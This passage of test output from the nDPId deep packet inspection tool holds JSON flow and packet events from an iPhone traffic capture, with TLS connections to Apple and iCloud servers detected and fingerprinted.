+01122{"flow_id":47,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":273,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":298024,"pkt_caplen":580,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":580,"pkt_l4_len":546,"pkt":"xGGLNYKpxiwDYGpkCABFAgI2rP0AAC4GWMYR+LBLwKgCEQG7xZj0WoX4sqXuQIAYA6smxQAAAQEIClsTCh0R3+qdMBaAFNh6lER8kHCQFp7dF5wBRAOG1iopMA8GCSsGAQUFBzABBQQCBQAwEwYDVR0lBAwwCgYIKwYBBQUHAwkwHQYDVR0OBBYEFG2YdZCf9+p4Fy2NZ3iZRytaqpXAMA4GA1UdDwEB\/wQEAwIHgDANBgkqhkiG9w0BAQsFAAOCAQEAfWaHB3F71r+HUtEusztLw2H0a2YFnXxa1uzWlcknyHvXas70SkE3K1rNPNgydDWa15RJBtUYT9r\/jIYn136onLWnxukPVi8TUKI4CMEwguhpMLrEtIqL4C6BZ+4lBK6xUCuEUeduttOE7gOxhx0n\/QSTvQ9LuNig3jwWEtIC23HoB15mX4gwBZ8tfi9UB7jVmgUgPLlnIxTRdUl1q5\/zCHckXOsWhUg5FYsKlZCVH6\/tIbdNREqUECgGFWyk\/VyvbJtuxaOAbpOC6ieEYIcwhwciiyJrTnUR2rnOOH8r2riaIi0MEZYnjSjV+7lmoMy2Lru4hbwEXuuXlBYgInvKvBYDAwBzDAAAbwMAHSBXsu+GV+y6l0vzfpkIZ1fKAjMWWfOp8JyVnlMAUByGDQQDAEcwRQIgA4Tzv13CT3BDjyxEQnnKbRx46Ioq7rc\/yzpsH74bthgCIQDoIolgzbEnT8BWjXTqaKdc6geCbEf7Aik9lFGXPL6bNRYDAwAEDgAAAA=="} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":274,"source":"iphone.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":1582454599396,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.137.166.35","src_port":50585,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":274,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":396067,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGwFLAqAIREYmmI8WZAbu9h96xAAAAALDC\/\/9bXgAAAgQFtAEDAwcBAQgKEd\/rCQAAAAAEAgAA"} +00482{"flow_id":24,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":275,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":396209,"pkt_caplen":108,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":108,"pkt_l4_len":74,"pkt":"AQBeAAD7xGGLNYKpCABFAABeopUAAP8RdUTAqAIR4AAA+xTpFOkASvALAAAAAAABAAAAAAABCF9ob21la2l0BF90Y3AFbG9jYWwAAAwAAQAAKQWgAAARlAASAAQADgAA5mGLNYKpxGGLNYKp"} +00515{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":277,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":396633,"pkt_caplen":128,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":128,"pkt_l4_len":74,"pkt":"MzMAAAD7xGGLNYKpht1gD8z1AEoR\/\/6AAAAAAAAACCM\/F4KYopz\/AgAAAAAAAAAAAAAAAAD7FOkU6QBKKNMAAAAAAAEAAAAAAAEIX2hvbWVraXQEX3RjcAVsb2NhbAAADAABAAApBaAAABGUABIABAAOAADmYYs1gqnEYYs1gqk="} +00426{"flow_id":47,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":401539,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WYAbuype5A9FqAWIAQA\/SupwAAAQEIChHf6ylbEwob"} +00426{"flow_id":47,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":401936,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WYAbuype5A9FqH+oAQA\/CnBwAAAQEIChHf6ylbEwod"} +00556{"flow_id":47,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":409215,"pkt_caplen":159,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":159,"pkt_l4_len":125,"pkt":"xiwDYGpkxGGLNYKpCABFAgCRAABAAEAGtWjAqAIREfiwS8WYAbuype5A9FqH+oAYBACOfQAAAQEIChHf6zBbEwodFgMDACUQAAAhIPdiwyj1I6m4F7av9yBSV7JBAs1bbY3G5JfBek2ejyNdFAMDAAEBFgMDACgAAAAAAAAAAEwW\/\/KAh9P\/tQdwoWQmHSmK5nrXXG\/M6ic8CcWTXbGv"} +00497{"flow_id":47,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":441363,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"xGGLNYKpxiwDYGpkCABFAgBnrP4AAC4GWpQR+LBLwKgCEQG7xZj0Wof6sqXunYAYA6v5LwAAAQEIClsTCq0R3+swFAMDAAEBFgMDACgAAAAAAAAAAI3hMVQg2deXwKW1to+3OLQwi53\/\/iOpKO3yRrz92EeF"} +00520{"flow_id":47,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":441376,"pkt_caplen":135,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":135,"pkt_l4_len":101,"pkt":"xGGLNYKpxiwDYGpkCABFAgB5rP8AAC4GWoER+LBLwKgCEQG7xZj0WogtsqXunYAYA6uyIwAAAQEIClsTCq0R3+swFwMDAEAAAAAAAAAAAahZpiRsxGFaiStkfVsksJvAde8o0oPOAKemhQwWDE2QQVNrlmJ8oGhiAOiiFJTH+QHlpHA4KQWh"} +00426{"flow_id":47,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":443080,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WYAbuype6d9FqILYAQA\/+lsAAAAQEIChHf61FbEwqt"} +00437{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":298,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":568888,"pkt_caplen":70,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":70,"pkt_l4_len":16,"pkt":"MzMAAAACxGGLNYKpht1gCzl3ABA6\/\/6AAAAAAAAACCM\/F4KYopz\/AgAAAAAAAAAAAAAAAAAChQA9fgAAAAABAcRhizWCqQ=="} +00440{"flow_id":48,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":300,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":585460,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAACsGFVcRiaYjwKgCEQG7xZn\/hRwvvYfesqBS\/\/9NtwAAAgQFrAQCCArKEDlZEd\/rCQEDAws="} +00425{"flow_id":48,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":303,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":602893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGwF7AqAIREYmmI8WZAbu9h96y\/4UcMIAQBAt3qQAAAQEIChHf7BTKEDlZ"} +01124{"flow_id":48,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":603102,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAGvlfAqAIREYmmI8WZAbu9h96y\/4UcMIAYBAvDAwAAAQEIChHf7BTKEDlZFgMBAgABAAH8AwMQmWdlc9Dfkc1LTp0B8prq1RD11s0EClXeRC7LPUuboSA7ltXQId7DryBOaTjcsMFd7i63qypbauhtrKXc6bkI8wA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABIAEAAADWdzYS5hcHBsZS5jb20AFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAALAAkIaHR0cC8xLjEACwACAQAAMwAmACQAHQAgrVr\/fu0h15DcdosIeP8S9EdnaZyYtU\/hcTn61FxtjHIALQACAQEAKwAJCAMEAwMDAgMBAAoACgAIAB0AFwAYABkAFQDTAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00772{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":304,"source":"iphone.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":4,"flow_first_seen":1582454599396,"flow_last_seen":1582454599603,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.137.166.35","src_port":50585,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gsa.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00474{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":306,"source":"iphone.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":1582454599740,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50586,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":740262,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"xiwDYGpkxGGLNYKpCABFAABAAABAAEAGtbvAqAIREfiwS8WaAbsCzUbDAAAAALDC\/\/+ibQAAAgQFtAEDAwcBAQgKEd\/sCwAAAAAEAgAA"} +00437{"flow_id":49,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":318,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":774111,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"xGGLNYKpxiwDYGpkCABFAAA8AAAAAC0GCMAR+LBLwKgCEQG7xZq3FAeKAs1GxKBScSAgIAAAAgQFrAEBCApbEwv6Ed\/sCwEDAwU="} +00424{"flow_id":49,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":322,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":776186,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAGtcfAqAIREfiwS8WaAbsCzUbEtxQHi4AQBAu4qgAAAQEIChHf7JdbEwv6"} +01122{"flow_id":49,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":323,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":776389,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAGs8DAqAIREfiwS8WaAbsCzUbEtxQHi4AYBAtFmAAAAQEIChHf7JhbEwv6FgMBAgABAAH8AwNJX\/Eg20C+2ys6T03zkHgGLiGZXi9UmQqJ4J0DwpXX4SAQcYer1CdJmG86iQRBRTj9FNUOUTD+JW73wsBQqImhngA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABcAFQAAEmdhdGV3YXkuaWNsb3VkLmNvbQAXAAAADQAYABYEAwgEBAEFAwIDCAUIBQUBCAYGAQIBAAUABQEAAAAAABIAAAAQAA4ADAJoMghodHRwLzEuMQALAAIBAAAzACYAJAAdACAWHeLk31ojbBM2sakys3+a3F5WQLHPz5v8kP2YwKoSSAAtAAIBAQArAAkIAwQDAwMCAwEACgAKAAgAHQAXABgAGQAVAMsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00792{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":323,"source":"iphone.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":4,"flow_first_seen":1582454599740,"flow_last_seen":1582454599776,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.176.75","src_port":50586,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gateway.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00425{"flow_id":48,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":324,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":791465,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0JhcAACsG70cRiaYjwKgCEQG7xZn\/hRwwvYfgt4AQAEF4nwAAAQEICsoQOigR3+wU"} +02368{"flow_id":48,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":325,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":793104,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUJhgAACsG6aQRiaYjwKgCEQG7xZn\/hRwwvYfgt4AQAEEMFAAAAQEICsoQOikR3+wUFgMDAGwCAABoAwPcCjv1ALSjyPkWpO2bSpR3JwIIun1P4HP8y4L4KzHqpCCcb4EJClNVVOQuGf3cvgcXLsYJLrlO1X\/N4K1tREz008AvAAAgAAAAAP8BAAEAAAsABAMAAQIAEAALAAkIaHR0cC8xLjEWAwMM\/gsADPoADPcABDMwggQvMIIDF6ADAgECAghXVVo04aWoWDANBgkqhkiG9w0BAQsFADBtMScwJQYDVQQDDB5BcHBsZSBTZXJ2ZXIgQXV0aGVudGljYXRpb24gQ0ExIDAeBgNVBAsMF0NlcnRpZmljYXRpb24gQXV0aG9yaXR5MRMwEQYDVQQKDApBcHBsZSBJbmMuMQswCQYDVQQGEwJVUzAeFw0xOTAzMDcwMDU1NDBaFw0yMDA0MDUwMDU1NDBaME8xFjAUBgNVBAMMDWdzYS5hcHBsZS5jb20xEzARBgNVBAoMCkFwcGxlIEluYy4xEzARBgNVBAgMCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAzLQVbrKBs\/5KaRQQSlJwdHv4J5zCNUZSHwkxPqJS2jgFlEdPbWJkUMdq6kTHjIPQ7CrhZOEZ6w85IcewhdWKAf4UKNmBAC6bayjGCFtErOPn07YEXLckgGvcZjfUB2FG3XFsimFajfpy+QxPRRFTypaXAtBnnuP\/3KymeAJ\/mkIq1R6bZ8N8jgkulRrQQeihRlCI0NcxoR8nKCAeW4\/hORKB4OJosSYoI\/Di9GOl+I361jLip9h1Ol1KNubkNcfOxENWnCYY973BkH3btnITFUgyfZ4fShFWPCM5vrnkORQcST29bfKMrvg93P07Rq0GTHoRHcZmLBeI\/2f3Gl0AfQIDAQABo4HwMIHtMAwGA1UdEwEB\/wQCMAAwHwYDVR0jBBgwFoAULMVtUt0x74zsCIHt39zKQwBFAdAwKAYDVR0RBCEwH4IOZ3Nhcy5hcHBsZS5jb22CDWdzYS5hcHBsZS5jb20wEwYDVR0lBAwwCgYIKwYBBQUHAwEwPAYDVR0fBDUwMzAxoC+gLYYraHR0cDovL2NybC5hcHBsZS5jb20vYXBwbGVzZXJ2ZXJhdXRoY2ExLmNybDAdBgNVHQ4EFgQUcLE8wVdqtnyesByhIkinog29yq4wDgYDVR0PAQH\/BAQDAgWgMBAGCiqGSIb3Y2QGGwIEAgUAMA0GCSqGSIb3DQEBCwUAA4IBAQBW4\/fFTy28qlnb9tV3+pPlpIpTbx6u+CzXXHpn5\/Eeg70D33kR\/idIDSMQUgxiii+FuDS9MbMQLdJbPyzVOnI7KqZ8ysFmyTAqkDs5GD3hy2q9QbBbRrk6wwI0Xxs\/Fv\/cMhABHKeVoG7Jok+Jiva0CVTyCjFRLHgbyWkEisdlZNmEkmy\/y7bByOMvWRRgcT9iCrlFXFwhVqTODiIk1YUomGZNmRLDl4BQUVDOHXnh3l\/O1G+u5V1INE4WwAxPXoL46ElNpD92ognBauK12m2RJQKWq6qvkogpPd4CZzLhm8yg948mLcrK9Vc6WmCpLMViFmqTa8GL0BNDepmDqAOxAAP8MIID+DCCAuCgAwIBAgIII2l0BK3LgxQwDQYJKoZIhvcNAQELBQAwYjELMAkGA1UEBhMCVVMxEzARBgNVBAoTCkFwcGxlIEluYy4xJjAkBgNVBAsTHUFwcGxlIENlcnRpZmljYXRpb24gQXV0aG9yaXR5MRYwFAYDVQQDEw1BcHBsZSBSb290IENBMB4XDTE0MDMwODAxNTMwNFoXDTI5MDMwODAxNTMwNFowbTEnMCUGA1UEAwweQXBwbGUgU2VydmVyIEF1dGhlbnRpY2F0aW9uIENBMSAwHgYDVQQLDBdDZXJ0aWZpY2F0"} +00828{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":325,"source":"iphone.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":6,"flow_first_seen":1582454599396,"flow_last_seen":1582454599793,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.137.166.35","src_port":50585,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"gsa.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"c4b2785a87896e19d37eee932070cb22","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02373{"flow_id":48,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":326,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":794223,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUJhkAACsG6aMRiaYjwKgCEQG7xZn\/hSHQvYfgt4AQAEEgqAAAAQEICsoQOikR3+wUaW9uIEF1dGhvcml0eTETMBEGA1UECgwKQXBwbGUgSW5jLjELMAkGA1UEBhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC5Jhawy4ercRWSjt+qPuGA11O6pGDMfIVy9zB8CU9XDUr\/4V7JS1ATAmSxvTk10dcEUcEY+iL6rt+YGNa\/Tk1DEPoliJ\/TQIV25SKBtlRFc5qL45xIGoZ6w1Hi2pX4pH3bMN5sDsTF9WyY56b6VyAdGXN6Ds1jD7cniC7hmmiCuEBsYxYkZivnsuJUfeeIOaIbgT4C0znYl3dKMgzWCgqzBJvxcm9jqBUebDfoD9tTkNYpXLxqV5tGeAo+JOqaP6HYP\/XbbqhsgrXdmTjsklaUpsVzJtGuCLLGUueOdkuJuFQPbuDZQtsqZYdGFLuWuFe7UeaEE\/cNobaJrHzRIXSrAgMBAAGjgaYwgaMwHQYDVR0OBBYEFCzFbVLdMe+M7AiB7d\/cykMARQHQMA8GA1UdEwEB\/wQFMAMBAf8wHwYDVR0jBBgwFoAUK9BpR5R2Cf70a40uQKb3R01\/CF4wLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL2NybC5hcHBsZS5jb20vcm9vdC5jcmwwDgYDVR0PAQH\/BAQDAgEGMBAGCiqGSIb3Y2QGAgwEAgUAMA0GCSqGSIb3DQEBCwUAA4IBAQAj8QZ+UEGBol7TcKRJka\/YzGeMoSV9xJqTOS\/YafsbQVtE19lryzslCRry9OPHnOiwW\/Df3SIlERWTuUle2gxmel7Xb\/Bj1GWMxHpUfVZPZZr92sSyyLC4oct94EeoQBW4FhntW2GO36rQzdI6wH46nyJO39\/0ThrNk\/\/Q8EVVZDM+1OXaaKATinYwJ9S\/+B529vnDAO+xg+pTbVw1xw0HAbr4Ybn+xZprQ2GBA+u6X3Cd6G+UJEvczpKoLqI1PONJ4BZ3otxruY0YQrk2lkMyxst2mTU22FbGmF3Db6V+lcLVegoCIGZ4kvJnpCMN6Am9zCExEKC9vrXdTN1GA5mZAAS\/MIIEuzCCA6OgAwIBAgIBAjANBgkqhkiG9w0BAQUFADBiMQswCQYDVQQGEwJVUzETMBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxFjAUBgNVBAMTDUFwcGxlIFJvb3QgQ0EwHhcNMDYwNDI1MjE0MDM2WhcNMzUwMjA5MjE0MDM2WjBiMQswCQYDVQQGEwJVUzETMBEGA1UEChMKQXBwbGUgSW5jLjEmMCQGA1UECxMdQXBwbGUgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxFjAUBgNVBAMTDUFwcGxlIFJvb3QgQ0EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDkkakJH5HbHkdQ6wXtXnmELes2oldMVeyLGYne+Uts9QerIjAC6Bg++FAJ039BqJj50cpmnCRrEdCju+QbKsMflZ56DKRHi1vUFjczy8QPTc4UadHJGXL1XQ7Vf1+b8iUDulWPTV0N8WQ1IxVLFVkds5T39pyez1C6wVhQZ48ItCD3y6wsIG9wtj8BMIy3Q88PnT3zK0koGsj+zrW5DtleHNbLPbU6rfQPDgCSC7EhFi501TwN22IWq6NxkkdTVcGvL0Gz+PvjcM3mo0xFfh9Ma1CWQYnEdGILEINBhzOKgbEwWOxaBDKMaLOPHd5lc\/9nXmW8Sdh2nzMUZaF3lMktAgMBAAGjggF6MIIBdjAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH\/BAUwAwEB\/zAdBgNVHQ4EFgQUK9BpR5R2Cf70a40uQKb3R01\/CF4wHwYDVR0jBBgwFoAUK9BpR5R2Cf70"} +01658{"flow_id":48,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":327,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":794234,"pkt_caplen":977,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":977,"pkt_l4_len":943,"pkt":"xGGLNYKpxiwDYGpkCABFAgPDJhoAACsG67MRiaYjwKgCEQG7xZn\/hSdwvYfgt4AYAEFJIAAAAQEICsoQOikR3+wUa40uQKb3R01\/CF4wggERBgNVHSAEggEIMIIBBDCCAQAGCSqGSIb3Y2QFATCB8jAqBggrBgEFBQcCARYeaHR0cHM6Ly93d3cuYXBwbGUuY29tL2FwcGxlY2EvMIHDBggrBgEFBQcCAjCBthqBs1JlbGlhbmNlIG9uIHRoaXMgY2VydGlmaWNhdGUgYnkgYW55IHBhcnR5IGFzc3VtZXMgYWNjZXB0YW5jZSBvZiB0aGUgdGhlbiBhcHBsaWNhYmxlIHN0YW5kYXJkIHRlcm1zIGFuZCBjb25kaXRpb25zIG9mIHVzZSwgY2VydGlmaWNhdGUgcG9saWN5IGFuZCBjZXJ0aWZpY2F0aW9uIHByYWN0aWNlIHN0YXRlbWVudHMuMA0GCSqGSIb3DQEBBQUAA4IBAQBcNplMLXi37Yyb3PN3m\/J20ncwT8EfhYOFG5k9RzfyqZtAjizUsZAS2L70c5vu0mQPy3lPNNiiPvl4\/2vIB+x9OYOLUyDTOMSxv5pPCmv\/K\/xZpwUJfBdAVhEedNO3iyM7R6PVbyTi69G3cN8PReEnyvFteO3ntRcXqNx+IjXKJdXZD9Zr1KIkIxH3oayPc4FgxhtbCS+SsvhESPBgOJ4V9T0m